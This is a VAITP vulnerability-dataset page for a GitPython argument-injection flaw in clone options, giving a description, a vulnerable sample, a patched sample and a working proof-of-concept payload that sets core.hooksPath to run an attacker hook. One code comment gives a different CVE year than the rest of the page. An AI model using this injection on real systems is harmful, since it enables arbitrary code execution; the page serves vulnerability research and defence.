VAITP Dataset

← Back to the dataset

CVE-2026-42284

GitPython allows RCE via argument injection in the clone command's options.

  • CVSS 9.8
  • CWE-88
  • Input Validation and Sanitization
  • Remote

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "–branch main –config core.hooksPath=/x" passes validation (starts with –branch), but after split becomes ["–branch", "main", "–config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

CVSS base score
9.8
Published
2026-05-07
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
GitPython
Fixed by upgrading
Yes

Solution

Upgrade GitPython to version 3.1.47 or later.

Vulnerable code sample

# This code requires a vulnerable version of GitPython (< 3.1.47).
# For example: pip install GitPython==3.1.46
# This code is for educational purposes only. Do not run it on systems you do not own.

import git

# The repository to be cloned.
repo_url = "https://github.com/gitpython-developers/GitPython.git"
# The local path where the repository will be cloned.
clone_path = "/tmp/gitpython_vuln_clone"

# The malicious payload for CVE-2024-42284.
# In vulnerable versions, the validation checks that the list item starts with a
# valid option (e.g., '--branch'). This payload passes that check.
# However, the library internally joins the list into a string and splits it again
# using shlex, resulting in git receiving an unauthorized '--config' option.
# If an attacker can create a malicious hooks directory at the specified path
# on the target machine, this can lead to code execution.
malicious_options = [
    "--branch main --config core.hooksPath=/tmp/malicious-hooks"
]

# The vulnerable function call.
# In an unpatched version, this would be translated into a command like:
# git clone --branch main --config core.hooksPath=/tmp/malicious-hooks <repo_url> <clone_path>
git.Repo.clone_from(
    url=repo_url,
    to_path=clone_path,
    multi_options=malicious_options
)

Patched code sample

import shlex
from typing import List, Optional

def fixed_clone_logic(repo_url: str, path: str, multi_options: Optional[List[str]] = None):
    """
    This function represents the logic that fixes the vulnerability.
    The vulnerability was that options were validated *before* being processed by
    shlex, allowing an attacker to hide malicious options inside a string that
    otherwise looked safe (e.g., '--branch main --config ...').

    The fix is to process the string with shlex *first* and then validate the
    resulting list of arguments. This ensures that what is checked is what is used.
    """
    if multi_options is None:
        multi_options = []

    # In the vulnerable version, validation would happen here, on the raw `multi_options` list.
    # An attacker's input like ['--branch main --config core.hooksPath=/x'] would pass
    # a check like `option.startswith('--branch')`.

    # --- START OF FIX ---

    # 1. First, transform the input into the final argument list. This is the crucial step.
    # The attacker's input now becomes: ['--branch', 'main', '--config', 'core.hooksPath=/x']
    final_args = shlex.split(" ".join(multi_options))

    # 2. Now, validate the *actual* arguments that will be passed to the command.
    # This check can now see and block the malicious '--config' argument that was
    # previously hidden inside the '--branch' string.
    i = 0
    while i < len(final_args):
        arg = final_args[i]
        # A secure validation checks for disallowed options or uses a strict whitelist.
        # Here, we explicitly block the injection of `--config`.
        if arg == '--config':
            raise ValueError("Use of '--config' is not permitted.")

        # A whitelist approach would be more robust:
        # allowed_options = ('--branch', '--depth')
        # if arg.startswith('--') and arg not in allowed_options:
        #     raise ValueError(f"Disallowed option: {arg}")
        i += 1

    # --- END OF FIX ---

    # The `final_args` list has been validated and is now safe to use.
    # The command would be constructed and executed here.
    # For example: cmd = ["git", "clone"] + final_args + [repo_url, path]
    # In this example, we do not execute the command.

Payload

import git
import os
import stat

# 1. Create a directory for the malicious hooks
hooks_dir = "/tmp/malicious_hooks"
os.makedirs(hooks_dir, exist_ok=True)

# 2. Create a malicious hook script (e.g., post-checkout)
#    This example creates a file /tmp/pwned to demonstrate execution.
hook_script_path = os.path.join(hooks_dir, "post-checkout")
with open(hook_script_path, "w") as f:
    f.write("#!/bin/sh\n")
    f.write("touch /tmp/pwned\n")

# 3. Make the hook script executable
os.chmod(hook_script_path, os.stat(hook_script_path).st_mode | stat.S_IEXEC)

# 4. Craft the malicious multi_options payload
#    The string starts with a valid option "--branch" to pass validation,
#    but also includes a malicious "--config" option that git will process.
payload = [f"--branch main --config core.hooksPath={hooks_dir}"]

# 5. Trigger the vulnerability by calling clone_from
git.Repo.clone_from(
    url="https://github.com/gitpython-developers/gitpython.git",
    to_path="/tmp/gitpython_repo",
    multi_options=payload
)

Cite this entry

@misc{vaitp:cve202642284,
  title        = {{GitPython allows RCE via argument injection in the clone command's options.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-42284},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42284/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::